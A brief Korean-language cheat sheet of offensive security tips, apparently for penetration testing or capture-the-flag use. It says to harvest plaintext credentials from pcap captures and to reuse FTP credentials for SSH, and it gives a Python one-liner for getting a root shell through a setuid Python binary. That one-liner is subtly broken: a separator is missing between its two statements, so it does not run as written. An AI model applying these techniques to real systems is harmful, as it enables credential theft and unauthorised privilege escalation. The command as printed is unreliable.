정보보안 스킬꾸러미

pcap 파일에서 평문으로 전송하는 정보중에 계정정보가 있는지 확인한다.

FTP의 계정이 SSH 계정으로 로그인 가능할 수도 있다.

 

python에 setuid 권한이 부여되어 있는 경우 다음의 파이썬 명령어로 root 쉘을 열 수 있다.

setuid(0) 없이 명령어 실행 시 현재 계정으로 쉘이 열리게 된다.

python -c 'import os;os.setuid(0) os.system("/bin/sh")'